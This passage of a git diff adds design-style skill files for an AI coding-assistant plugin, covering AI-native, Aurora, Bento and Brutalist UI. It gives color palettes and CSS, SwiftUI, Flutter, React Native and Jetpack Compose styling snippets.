Backgrounds: `#F4F4F9` + - Primary Text/Accents: `#2B303A` + - CTA/Highlights: `#5C6B73` + - Secondary Base: `#C0C5C1` +7. **Midnight Luxury** (Premium / Dark Mode) + - Backgrounds: `#0A0A0A` + - Primary Text/Accents: `#F5F5F0` + - CTA/Highlights: `#B59A5F` + - Secondary Base: `#1C1C1C` +8. **Sophisticated Neutral** (Upscale / Lifestyle) + - Backgrounds: `#E6E2DD` + - Primary Text/Accents: `#1F1C1B` + - CTA/Highlights: `#524036` + - Secondary Base: `#B8B0A8` +9. **Warm Tech** (Corporate / Modern) + - Backgrounds: `#EAEAEA` + - Primary Text/Accents: `#1C252E` + - CTA/Highlights: `#C28F79` + - Secondary Base: `#2C3E50` +10. **Modern Editorial** (Magazine / High Contrast) + - Backgrounds: `#F9F9F9` + - Primary Text/Accents: `#121212` + - CTA/Highlights: `#D44A3A` + - Secondary Base: `#8F8F8F` + +## The 60-30-10 Rule +- **60%**: Backgrounds / Secondary Base +- **30%**: Primary Text / Accents +- **10%**: CTA / Highlights + +--- + +## Style Index (48 Styles) + +To use a style, you MUST read its file at `<style-folder>/SKILL.md` relative to this file's directory. + +### Modern UI +- `minimalism` +- `flat-design` +- `flat-design-2` +- `material-design` +- `glassmorphism` +- `neumorphism` +- `skeuomorphism` +- `claymorphism` +- `aurora-ui` +- `bento-ui` + +### Depth & 3D +- `3d-ui` +- `isometric-design` +- `layered-design` +- `floating-ui` +- `spatial-design` + +### Typography +- `swiss-design` +- `editorial-design` +- `typography-first` +- `brutalist-typography` + +### Retro & Historical +- `brutalism` +- `neo-brutalism` +- `retro-design` +- `y2k-design` +- `cyber-y2k` +- `vaporwave` +- `synthwave` +- `frutiger-aero` +- `retro-futurism` + +### Modern Trends +- `dark-mode` +- `monochromatic-ui` +- `gradient-design` +- `duotone-design` +- `color-blocking` +- `soft-pastel` +- `high-contrast` +- `vibrant-maximalism` +- `maximalism` + +### Futuristic +- `cyberpunk-ui` +- `sci-fi-interface` +- `holographic-ui` +- `ai-native-ui` +- `spatial-computing-ui` + +### Data & Product +- `dashboard-design` +- `card-based-design` +- `widget-based-design` +- `tile-design` +- `data-dense-design` +- `command-center-ui` + +## Web vs App Implementation +- **Web (React/Vue/HTML)**: Use CSS variables natively. Prioritize CSS grid/flexbox for layout. Use CSS transitions for hover states. +- **App (React Native/Flutter/SwiftUI)**: Map the palettes to the framework's theme engine. Use platform-specific shadows (elevation) and animations instead of CSS transitions. Maintain the core visual principles while adapting to mobile constraints. + +## Limitations + +- This skill does not replace environment-specific validation, testing, or expert review. +- Stop and ask for clarification if required inputs, permissions, or safety boundaries are missing. + diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/ai-native-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/ai-native-ui/SKILL.md new file mode 100644 index 00000000..48f4adfe --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/ai-native-ui/SKILL.md @@ -0,0 +1,295 @@ +--- +name: ai-native-ui +description: Web and App implementation guide for AI Native UI. Trigger when user wants conversational interfaces, adaptive layouts, and generative AI aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# AI Native UI + +> "Fluid, adaptive, and conversational. The interface morphs to serve the content." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Conversational First**: The chat input or voice prompt is the primary navigation method, not a sidebar of links. +2. **Generative States**: Loading states aren't spinners; they are shimmering text, morphing gradients, or skeletal layouts that resolve smoothly into content. +3. **Adaptive Components**: Cards and blocks size themselves dynamically based on the generated content length. + +## Visual DNA +- **Colors**: **Minimalist Slate** combined with **Electric Indigo** or **Neon Pulse** gradients for the AI elements. The background is clean (white or dark grey), while the AI "presence" is represented by a shifting, iridescent gradient. +- **Typography**: Highly readable system fonts (`Inter`, `SF Pro`). +- **Styling**: Subtle glowing borders to indicate AI generation in progress. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #FAFAFA; + color: #1A1A1A; + font-family: 'Inter', sans-serif; +} + +/* The AI Chat Input */ +.ai-prompt-box { + background: #ffffff; + border-radius: 24px; + padding: 16px 24px; + box-shadow: 0 8px 30px rgba(0,0,0,0.05); + border: 1px solid transparent; + + /* AI Glow Border */ + background-clip: padding-box, border-box; + background-origin: padding-box, border-box; + background-image: + linear-gradient(#ffffff, #ffffff), + linear-gradient(90deg, #8A2387, #E94057, #F27121); + + transition: all 0.3s ease; +} + +.ai-prompt-box:focus-within { + box-shadow: 0 12px 40px rgba(233, 64, 87, 0.15); +} + +/* Generative Shimmer Text */ +.ai-generating-text { + background: linear-gradient(90deg, #aaa 0%, #333 50%, #aaa 100%); + background-size: 200% auto; + color: transparent; + -webkit-background-clip: text; + animation: shine 1.5s linear infinite; +} + +@keyframes shine { + to { background-position: 200% center; } +} +``` + +## App Implementation + +### SwiftUI +```swift +struct AINativeInput: View { + @State private var isGenerating = true + @State private var gradientOffset = 0.0 + + var body: some View { + VStack { + // Generative Text Shimmer + if isGenerating { + Text("Synthesizing response...") + .font(.headline) + .foregroundStyle( + LinearGradient( + colors: [.gray.opacity(0.3), .gray, .gray.opacity(0.3)], + startPoint: UnitPoint(x: gradientOffset - 1, y: 0), + endPoint: UnitPoint(x: gradientOffset + 1, y: 0) + ) + ) + .onAppear { + withAnimation(.linear(duration: 1.5).repeatForever(autoreverses: false)) { + gradientOffset = 1.0 + } + } + } + + // AI Input Box + HStack { + TextField("Ask anything...", text: .constant("")) + Image(systemName: "sparkles") + .foregroundColor(.purple) + } + .padding() + .background(Color.white) + .cornerRadius(24) + .overlay( + RoundedRectangle(cornerRadius: 24) + .stroke( + LinearGradient(colors: [.purple, .pink, .orange], startPoint: .topLeading, endPoint: .bottomTrailing), + lineWidth: 2 + ) + ) + .shadow(color: .pink.opacity(0.15), radius: 20) + } + .padding() + } +} +``` +- A shifting `LinearGradient` mask over text creates a beautiful "thinking" state. +- Use a gradient `.stroke` on a `RoundedRectangle` overlay to create the signature AI glowing border around input fields. + +### Flutter +```dart +import 'package:shimmer/shimmer.dart'; + +class AINativeInput extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Padding( + padding: const EdgeInsets.all(16.0), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + // Generative Shimmer + Shimmer.fromColors( + baseColor: Colors.grey[300]!, + highlightColor: Colors.grey[600]!, + child: const Text('Synthesizing response...', + style: TextStyle(fontSize: 16, fontWeight: FontWeight.bold)), + ), + const SizedBox(height: 16), + // AI Input Box + Container( + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(24), + boxShadow: [ + BoxShadow(color: Colors.pink.withOpacity(0.15), blurRadius: 20), + ], + ), + child: Container( + decoration: BoxDecoration( + borderRadius: BorderRadius.circular(24), + // Gradient border simulation + gradient: const LinearGradient( + colors: [Colors.purple, Colors.pink, Colors.orange], + ), + ), + padding: const EdgeInsets.all(2), // Border width + child: Container( + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(22), + ), + padding: const EdgeInsets.symmetric(horizontal: 16, vertical: 4), + child: Row( + children: const [ + Expanded( + child: TextField( + decoration: InputDecoration( + hintText: 'Ask anything...', + border: InputBorder.none, + ), + ), + ), + Icon(Icons.auto_awesome, color: Colors.purple), + ], + ), + ), + ), + ), + ], + ), + ); + } +} +``` +- The `shimmer` package is the absolute standard for AI loading states in Flutter. +- Gradient borders natively don't exist on `BoxDecoration`; simulate them by nesting containers with a gradient background and a solid white inner container. + +### React Native +```jsx +// Requires react-native-linear-gradient and react-native-shimmer-placeholder +import LinearGradient from 'react-native-linear-gradient'; +import { createShimmerPlaceholder } from 'react-native-shimmer-placeholder'; + +const ShimmerPlaceHolder = createShimmerPlaceholder(LinearGradient); + +const AINativeInput = () => { + return ( + <View style={{ padding: 16 }}> + {/* Generative Shimmer */} + <ShimmerPlaceHolder + style={{ width: 200, height: 20, borderRadius: 10, marginBottom: 16 }} + shimmerColors={['#ebebeb', '#c5c5c5', '#ebebeb']} + /> + + {/* AI Input Box with Gradient Border */} + <LinearGradient + colors={['#8A2387', '#E94057', '#F27121']} + style={{ borderRadius: 24, padding: 2, shadowColor: '#E94057', shadowRadius: 20, shadowOpacity: 0.2 }} + > + <View style={{ + backgroundColor: '#FFF', + borderRadius: 22, + flexDirection: 'row', + alignItems: 'center', + paddingHorizontal: 16, + height: 50 + }}> + <TextInput + placeholder="Ask anything..." + style={{ flex: 1, fontSize: 16 }} + /> + <Text style={{ fontSize: 20 }}>✨</Text> + </View> + </LinearGradient> + </View> + ); +}; +``` +- `react-native-shimmer-placeholder` is the best way to handle the morphing skeleton states. +- Like Flutter, React Native doesn't have native gradient borders. Wrap the input in a `LinearGradient` view with `padding: 2` to create the stroke. + +### Jetpack Compose +```kotlin +@Composable +fun AINativeInput() { + val infiniteTransition = rememberInfiniteTransition() + val gradientOffset by infiniteTransition.animateFloat( + initialValue = 0f, + targetValue = 1000f, + animationSpec = infiniteRepeatable( + animation = tween(1500, easing = LinearEasing), + repeatMode = RepeatMode.Restart + ) + ) + + Column(modifier = Modifier.padding(16.dp)) { + // Generative Shimmer Text + val shimmerBrush = Brush.linearGradient( + colors = listOf(Color.LightGray, Color.Gray, Color.LightGray), + start = Offset(gradientOffset - 500f, 0f), + end = Offset(gradientOffset, 0f) + ) + Text("Synthesizing response...", style = TextStyle(brush = shimmerBrush, fontWeight = FontWeight.Bold)) + + Spacer(Modifier.height(16.dp)) + + // AI Input Box + val borderBrush = Brush.linearGradient(listOf(Color(0xFF8A2387), Color(0xFFE94057), Color(0xFFF27121))) + + Row( + modifier = Modifier + .shadow(20.dp, RoundedCornerShape(24.dp), ambientColor = Color(0xFFE94057), spotColor = Color(0xFFE94057)) + .background(Color.White, RoundedCornerShape(24.dp)) + .border(2.dp, borderBrush, RoundedCornerShape(24.dp)) + .padding(horizontal = 16.dp, vertical = 12.dp), + verticalAlignment = Alignment.CenterVertically + ) { + BasicTextField( + value = "", + onValueChange = {}, + modifier = Modifier.weight(1f), + decorationBox = { innerTextField -> Text("Ask anything...", color = Color.Gray) } + ) + Icon(Icons.Default.Star, contentDescription = null, tint = Color(0xFF8A2387)) + } + } +} +``` +- Compose allows passing a `Brush` directly into the `TextStyle`, making shimmering text incredibly easy without third-party libraries. +- Compose's `Modifier.border()` natively accepts a `Brush`, making gradient borders a one-liner. + +## Do's and Don'ts +- **DO**: Use a distinct, vibrant gradient to represent the AI "agent", contrasting with a very plain, clean background. +- **DON'T**: Use complex navigation headers. The user should navigate by asking the AI, not by clicking deep menus. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/aurora-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/aurora-ui/SKILL.md new file mode 100644 index 00000000..8f2b2d58 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/aurora-ui/SKILL.md @@ -0,0 +1,307 @@ +--- +name: aurora-ui +description: Web and App implementation guide for Aurora UI. Trigger when user wants gradient glows, color blobs, and atmospheric lighting effects. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Aurora UI + +> "Ethereal, shifting lights. Like the Northern Lights trapped beneath a pane of frosted glass." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Blurred Color Orbs**: Large, out-of-focus, highly saturated color blobs floating in the background. +2. **Glassy Overlays**: Foreground elements are often semi-transparent (glassmorphism) to let the aurora effect shine through. +3. **Fluid Motion**: The background color orbs should slowly drift, expand, and contract. + +## Visual DNA +- **Colors**: Requires dark, deep backgrounds with vibrant, luminous accents. **Midnight Luxury** or **Yacht Club** (modified to dark mode) work well, injecting bright cyan, magenta, or lime green as the glowing orbs. +- **Typography**: Thin, elegant sans-serifs or sophisticated serif fonts. High contrast white text. +- **Layout**: Keep foreground UI elements minimal to let the background remain the star. + +## Web Implementation +- Best achieved with absolute-positioned, heavily blurred `div`s behind the main content. +- **CSS Example**: +```css +body { + background-color: #0A0A0A; + overflow-x: hidden; + position: relative; +} + +/* The Glowing Orb */ +.aurora-blob { + position: absolute; + width: 400px; + height: 400px; + background: radial-gradient(circle, rgba(181,154,95,0.8) 0%, rgba(181,154,95,0) 70%); + border-radius: 50%; + filter: blur(80px); + z-index: -1; + animation: float 20s infinite ease-in-out alternate; +} + +.aurora-blob.blue { + background: radial-gradient(circle, rgba(92,107,115,0.8) 0%, rgba(0,0,0,0) 70%); + top: 20%; + left: 60%; + animation-delay: -5s; +} + +@keyframes float { + 0% { transform: translate(0, 0) scale(1); } + 50% { transform: translate(-50px, 100px) scale(1.2); } + 100% { transform: translate(100px, -50px) scale(0.9); } +} + +/* Foreground content should be glassmorphic */ +.aurora-card { + background: rgba(255,255,255,0.03); + backdrop-filter: blur(20px); + border: 1px solid rgba(255,255,255,0.05); + border-radius: 24px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct AuroraView: View { + @State private var animate = false + + var body: some View { + ZStack { + // Dark background + Color.black.ignoresSafeArea() + + // Animated Orbs + Circle() + .fill(Color(red: 0.71, green: 0.60, blue: 0.37)) // #B59A5F + .blur(radius: 80) + .frame(width: 300, height: 300) + .offset(x: animate ? -50 : 50, y: animate ? -100 : 0) + + Circle() + .fill(Color(red: 0.36, green: 0.42, blue: 0.45)) // #5C6B73 + .blur(radius: 80) + .frame(width: 300, height: 300) + .offset(x: animate ? 100 : -50, y: animate ? 100 : -50) + + // Glassy Foreground content + VStack { + Text("Aurora Interface") + .font(.largeTitle.bold()) + .foregroundColor(.white) + } + .frame(maxWidth: .infinity, maxHeight: .infinity) + .background(.ultraThinMaterial) + } + .onAppear { + withAnimation(.easeInOut(duration: 10).repeatForever(autoreverses: true)) { + animate = true + } + } + } +} +``` +- Use `Circle().blur(radius: 80...120)` in a `ZStack` underneath the main content. +- Animate the `.offset()` with a very long `duration (10-20 seconds)`. +- Use `.background(.ultraThinMaterial)` on foreground containers to let the colored light bleed through nicely. + +### Flutter +```dart +import 'dart:ui'; + +class AuroraView extends StatefulWidget { + @override + State<AuroraView> createState() => _AuroraViewState(); +} + +class _AuroraViewState extends State<AuroraView> with SingleTickerProviderStateMixin { + late AnimationController _controller; + + @override + void initState() { + super.initState(); + _controller = AnimationController(vsync: this, duration: const Duration(seconds: 10))..repeat(reverse: true); + } + + @override + void dispose() { + _controller.dispose(); + super.dispose(); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.black, + body: Stack( + children: [ + // Animated orb + AnimatedBuilder( + animation: _controller, + builder: (context, child) { + return Positioned( + top: 100 + (_controller.value * 100), + left: -50 + (_controller.value * 100), + child: Container( + width: 300, + height: 300, + decoration: const BoxDecoration( + shape: BoxShape.circle, + color: Color(0xFFB59A5F), + ), + ), + ); + }, + ), + // Massive blur layer over the orbs + Positioned.fill( + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 80, sigmaY: 80), + child: Container(color: Colors.transparent), + ), + ), + // Glassy Foreground + Center( + child: ClipRRect( + borderRadius: BorderRadius.circular(24), + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 16, sigmaY: 16), + child: Container( + padding: const EdgeInsets.all(32), + color: Colors.white.withOpacity(0.05), + child: const Text('Aurora Interface', + style: TextStyle(color: Colors.white, fontSize: 24, fontWeight: FontWeight.bold)), + ), + ), + ), + ), + ], + ), + ); + } +} +``` +- A massive full-screen `BackdropFilter` over moving solid circles is often more performant than blurring each circle individually. +- Layer a second, weaker `BackdropFilter` for the actual foreground glassmorphism panels. + +### React Native +```jsx +// Requires @react-native-community/blur +import { BlurView } from '@react-native-community/blur'; + +const AuroraView = () => { + const anim = useRef(new Animated.Value(0)).current; + + useEffect(() => { + Animated.loop( + Animated.sequence([ + Animated.timing(anim, { toValue: 1, duration: 10000, useNativeDriver: true }), + Animated.timing(anim, { toValue: 0, duration: 10000, useNativeDriver: true }), + ]) + ).start(); + }, []); + + const translateY = anim.interpolate({ inputRange: [0, 1], outputRange: [0, 100] }); + + return ( + <View style={{ flex: 1, backgroundColor: '#000' }}> + {/* Orb — note: React Native struggles with massive live blurs, + so pre-rendered blurred PNGs are highly recommended for production */} + <Animated.Image + source={require('./blurred_orb_cyan.png')} + style={{ + position: 'absolute', + top: -50, left: -50, + width: 400, height: 400, + opacity: 0.8, + transform: [{ translateY }] + }} + /> + + {/* Glass Foreground */} + <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }}> + <BlurView blurType="dark" blurAmount={20} style={{ padding: 32, borderRadius: 24 }}> + <Text style={{ color: '#FFF', fontSize: 24, fontWeight: '700' }}> + Aurora Interface + </Text> + </BlurView> + </View> + </View> + ); +}; +``` +- **Performance Warning**: Do NOT use `BlurView` with huge amounts for moving background orbs on React Native — it will lag terribly, especially on Android. +- **Best Practice**: Create large, already-blurred PNG images in Figma/Photoshop and animate those using `Animated.Image`. + +### Jetpack Compose +```kotlin +@Composable +fun AuroraView() { + val infiniteTransition = rememberInfiniteTransition() + val offsetY by infiniteTransition.animateFloat( + initialValue = -50f, + targetValue = 100f, + animationSpec = infiniteRepeatable( + animation = tween(10000, easing = LinearEasing), + repeatMode = RepeatMode.Reverse + ) + ) + + Box(modifier = Modifier + .fillMaxSize() + .background(Color.Black)) { + + // Blurred Orb + Box( + modifier = Modifier + .offset(x = (-50).dp, y = offsetY.dp) + .size(300.dp) + .blur(80.dp) // API 31+ only! + .background(Color(0xFFB59A5F), CircleShape) + ) + + // Pre-API 31 fallback: use a radial gradient instead of blur + Box( + modifier = Modifier + .offset(x = 150.dp, y = (offsetY * -1).dp) + .size(300.dp) + .background( + Brush.radialGradient( + colors = listOf(Color(0xFF5C6B73).copy(alpha = 0.8f), Color.Transparent) + ) + ) + ) + + // Glass panel + Card( + modifier = Modifier.align(Alignment.Center).padding(32.dp), + colors = CardDefaults.cardColors(containerColor = Color.White.copy(alpha = 0.05f)), + shape = RoundedCornerShape(24.dp), + ) { + Text("Aurora Interface", + color = Color.White, fontSize = 24.sp, fontWeight = FontWeight.Bold, + modifier = Modifier.padding(32.dp)) + } + } +} +``` +- `Modifier.blur()` is only fully supported on Android 12 (API 31+). +- **Critical Fallback**: For older devices, use `Brush.radialGradient` fading from color to `Color.Transparent` to fake the glowing orb effect without needing expensive blur calculations. + +## Do's and Don'ts +- **DO**: Ensure the foreground text remains legible. If a bright orb floats behind white text, the text will vanish. Use glassy panels to guarantee contrast. +- **DON'T**: Use sharp gradients. Everything in the background must be heavily blurred and diffuse. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/bento-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/bento-ui/SKILL.md new file mode 100644 index 00000000..aaf1e2e1 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/bento-ui/SKILL.md @@ -0,0 +1,314 @@ +--- +name: bento-ui +description: Web and App implementation guide for Bento UI. Trigger when user wants modular grid cards, Apple-like dashboard style, or sections arranged like a bento box. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Bento UI + +> "Everything in its right place. A highly structured, modular grid of distinct compartments." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Strict Grid Structure**: The entire UI is built on a responsive, multi-column grid (usually 3x3, 4x4, or irregular masonry). +2. **Rounded Compartments**: Every distinct piece of content lives inside a card (compartment) with consistent, usually large, border-radius. +3. **Equal Spacing**: The gap between compartments must be perfectly consistent everywhere. + +## Visual DNA +- **Colors**: Highly adaptable, but looks incredibly premium with **Minimalist Slate** or **Yacht Club**. Often uses a slightly off-white or light gray background to make the white compartments pop. +- **Typography**: Apple-esque (e.g., `SF Pro`, `Inter`). Headlines are usually bold and placed at the top-left or bottom-left of each compartment. +- **Visuals**: Often relies on high-quality, edge-to-edge images or single, large 3D icons inside specific grid cells to break up text-heavy cards. + +## Web Implementation +- CSS Grid is mandatory. Flexbox is too difficult to maintain the strict 2D structure. +- **CSS Example**: +```css +.bento-container { + display: grid; + grid-template-columns: repeat(4, 1fr); + grid-auto-rows: 200px; + gap: 24px; + padding: 24px; + background-color: var(--bg-primary); /* Slightly darker than cards */ +} + +.bento-card { + background-color: #fff; + border-radius: 32px; /* Very large border radius */ + padding: 32px; + box-shadow: 0 4px 24px rgba(0,0,0,0.04); + /* Optional: subtle 1px border for crispness */ + border: 1px solid rgba(0,0,0,0.05); + + display: flex; + flex-direction: column; + justify-content: space-between; +} + +/* Creating spans for different bento sizes */ +.bento-span-2 { grid-column: span 2; } +.bento-span-2-row { grid-row: span 2; } +.bento-large { grid-column: span 2; grid-row: span 2; } +``` + +## App Implementation + +### SwiftUI +```swift +struct BentoGrid: View { + let columns = [ + GridItem(.flexible(), spacing: 16), + GridItem(.flexible(), spacing: 16) + ] + + var body: some View { + ScrollView { + LazyVGrid(columns: columns, spacing: 16) { + // 2x1 Span (Full width) + BentoCard(title: "Hero", color: .blue) + .frame(height: 180) + + // 1x1 Spans + BentoCard(title: "Stats", color: .green) + .frame(height: 180) + BentoCard(title: "Graph", color: .purple) + .frame(height: 180) + + // 1x2 Span (Tall) + BentoCard(title: "Activity", color: .orange) + .frame(height: 376) // (180 * 2) + 16 spacing + + // 1x1 Spans next to the tall one + VStack(spacing: 16) { + BentoCard(title: "A", color: .pink).frame(height: 180) + BentoCard(title: "B", color: .cyan).frame(height: 180) + } + } + .padding(16) + } + .background(Color(.systemGroupedBackground)) + } +} + +struct BentoCard: View { + let title: String + let color: Color + var body: some View { + RoundedRectangle(cornerRadius: 24) + .fill(Color(.secondarySystemGroupedBackground)) + .overlay( + Text(title).font(.headline).foregroundColor(color), + alignment: .topLeading + ) + .padding(16) + // Soft bento shadow + .shadow(color: .black.opacity(0.04), radius: 12, x: 0, y: 4) + } +} +``` +- Use `LazyVGrid` for uniform grids. +- For complex irregular bento layouts (like 1x2 spans), you often have to mix `VStack` and `HStack` inside the grid cells to fake the spans. +- Maintain absolute consistency with `cornerRadius` (usually 24-32pt) and `spacing` (usually 16pt). + +### Flutter +```dart +import 'package:flutter_staggered_grid_view/flutter_staggered_grid_view.dart'; + +class BentoScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.grey[100], + body: SingleChildScrollView( + padding: const EdgeInsets.all(16), + child: StaggeredGrid.count( + crossAxisCount: 4, // 4 columns total + mainAxisSpacing: 16, + crossAxisSpacing: 16, + children: const [ + // 2x1 (Full width in a 2-col layout, spans 4) + StaggeredGridTile.count( + crossAxisCellCount: 4, + mainAxisCellCount: 2, + child: BentoCard(title: 'Hero'), + ), + // 1x1 + StaggeredGridTile.count( + crossAxisCellCount: 2, + mainAxisCellCount: 2, + child: BentoCard(title: 'Stats'), + ), + // 1x1 + StaggeredGridTile.count( + crossAxisCellCount: 2, + mainAxisCellCount: 2, + child: BentoCard(title: 'Graph'), + ), + // 1x2 (Tall) + StaggeredGridTile.count( + crossAxisCellCount: 2, + mainAxisCellCount: 4, + child: BentoCard(title: 'Activity'), + ), + ], + ), + ), + ); + } +} + +class BentoCard extends StatelessWidget { + final String title; + const BentoCard({required this.title}); + + @override + Widget build(BuildContext context) { + return Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(24), + boxShadow: [ + BoxShadow( + color: Colors.black.withOpacity(0.04), + blurRadius: 12, + offset: const Offset(0, 4), + ), + ], + ), + alignment: Alignment.topLeft, + child: Text(title, style: const TextStyle(fontWeight: FontWeight.bold)), + ); + } +} +``` +- The `flutter_staggered_grid_view` package is practically mandatory for complex Bento grids in Flutter. +- Use `StaggeredGridTile.count` to explicitly declare the `crossAxis` and `mainAxis` span of each compartment. + +### React Native +```jsx +const BentoScreen = () => { + return ( + <ScrollView + style={{ flex: 1, backgroundColor: '#F2F2F7' }} + contentContainerStyle={{ padding: 16 }} + > + {/* 2x1 Span */} + <View style={[styles.bentoCard, { height: 180, marginBottom: 16 }]}> + <Text style={styles.title}>Hero</Text> + </View> + + <View style={{ flexDirection: 'row', gap: 16, marginBottom: 16 }}> + {/* 1x1 Spans */} + <View style={[styles.bentoCard, { flex: 1, height: 180 }]}> + <Text style={styles.title}>Stats</Text> + </View> + <View style={[styles.bentoCard, { flex: 1, height: 180 }]}> + <Text style={styles.title}>Graph</Text> + </View> + </View> + + <View style={{ flexDirection: 'row', gap: 16 }}> + {/* 1x2 Span (Tall) */} + <View style={[styles.bentoCard, { flex: 1, height: 376 }]}> + <Text style={styles.title}>Activity</Text> + </View> + + <View style={{ flex: 1, gap: 16 }}> + {/* Stacked 1x1s */} + <View style={[styles.bentoCard, { height: 180 }]}> + <Text style={styles.title}>A</Text> + </View> + <View style={[styles.bentoCard, { height: 180 }]}> + <Text style={styles.title}>B</Text> + </View> + </View> + </View> + </ScrollView> + ); +}; + +const styles = StyleSheet.create({ + bentoCard: { + backgroundColor: '#FFFFFF', + borderRadius: 24, + padding: 24, + shadowColor: '#000', + shadowOffset: { width: 0, height: 4 }, + shadowOpacity: 0.04, + shadowRadius: 12, + elevation: 2, + }, + title: { + fontWeight: '700', + fontSize: 18, + } +}); +``` +- React Native lacks CSS Grid. You must manually compose the grid using `flexDirection: 'row'` and vertical stacks. +- The `gap` property in React Native flexbox makes this significantly easier than using margins. + +### Jetpack Compose +```kotlin +@Composable +fun BentoGrid() { + Column( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFFF2F2F7)) + .verticalScroll(rememberScrollState()) + .padding(16.dp), + verticalArrangement = Arrangement.spacedBy(16.dp) + ) { + // Full width + BentoCard(title = "Hero", modifier = Modifier.fillMaxWidth().height(180.dp)) + + // Two columns + Row(horizontalArrangement = Arrangement.spacedBy(16.dp)) { + BentoCard(title = "Stats", modifier = Modifier.weight(1f).height(180.dp)) + BentoCard(title = "Graph", modifier = Modifier.weight(1f).height(180.dp)) + } + + // Complex span: 1x2 left, two 1x1s right + Row(horizontalArrangement = Arrangement.spacedBy(16.dp)) { + BentoCard(title = "Activity", modifier = Modifier.weight(1f).height(376.dp)) + + Column( + modifier = Modifier.weight(1f), + verticalArrangement = Arrangement.spacedBy(16.dp) + ) { + BentoCard(title = "A", modifier = Modifier.fillMaxWidth().height(180.dp)) + BentoCard(title = "B", modifier = Modifier.fillMaxWidth().height(180.dp)) + } + } + } +} + +@Composable +fun BentoCard(title: String, modifier: Modifier = Modifier) { + Card( + modifier = modifier, + shape = RoundedCornerShape(24.dp), + colors = CardDefaults.cardColors(containerColor = Color.White), + elevation = CardDefaults.cardElevation(defaultElevation = 2.dp) + ) { + Text(title, fontWeight = FontWeight.Bold, modifier = Modifier.padding(24.dp)) + } +} +``` +- While `LazyVerticalGrid` exists, for highly specific irregular bento layouts, manually building rows and columns with `weight(1f)` is often much more reliable. +- Use `Arrangement.spacedBy(16.dp)` on both Columns and Rows to ensure mathematically perfect gutters. + +## Do's and Don'ts +- **DO**: Mix sizes! A bento box is boring if every cell is 1x1. Use 2x1, 1x2, and 2x2 cells to create visual interest. +- **DON'T**: Clutter the inside of a bento card. If it needs a lot of elements, break it into multiple cards. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/brutalism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/brutalism/SKILL.md new file mode 100644 index 00000000..238df29e --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/brutalism/SKILL.md @@ -0,0 +1,270 @@ +--- +name: brutalism +description: Web and App implementation guide for Brutalism. Trigger when user wants a raw appearance, intentionally unfinished look, and rejection of standard design conventions. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Brutalism + +> "Raw materials exposed. An intentional rejection of polish, gradients, and soft shadows." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Unstyled Components**: Default browser styling for buttons, inputs, and links is celebrated. +2. **Exposed Structure**: Grid lines, tables with visible borders, and stark boundaries are used instead of whitespace to separate content. +3. **Anti-Aesthetic**: Intentional awkwardness. Elements might slightly overlap in a way that feels broken, or use system default fonts. + +## Visual DNA +- **Colors**: High contrast, often clashing. Pure `#0000FF` blue for links, `#FF0000` red for accents, on stark white or `#C0C0C0` grey backgrounds. **Industrial Chic** palette fits best. +- **Typography**: Courier New, Times New Roman, Comic Sans, or default sans-serifs. No web fonts. +- **Visuals**: Dithered images, pixelated graphics, or heavily compressed jpegs. + +## Web Implementation +- Use standard HTML tags without overriding their default appearance whenever possible. +- **CSS Example**: +```css +body { + background-color: #ffffff; + color: #000000; + font-family: monospace; +} + +/* Expose the structure */ +.brutalist-container { + border: 1px solid #000; + padding: 10px; +} + +.brutalist-section { + border-bottom: 2px dashed #000; + margin-bottom: 20px; + padding-bottom: 20px; +} + +/* Default-looking button but massive */ +.brutalist-btn { + background-color: #c0c0c0; + border: 2px outset #ffffff; + border-right-color: #000000; + border-bottom-color: #000000; + color: 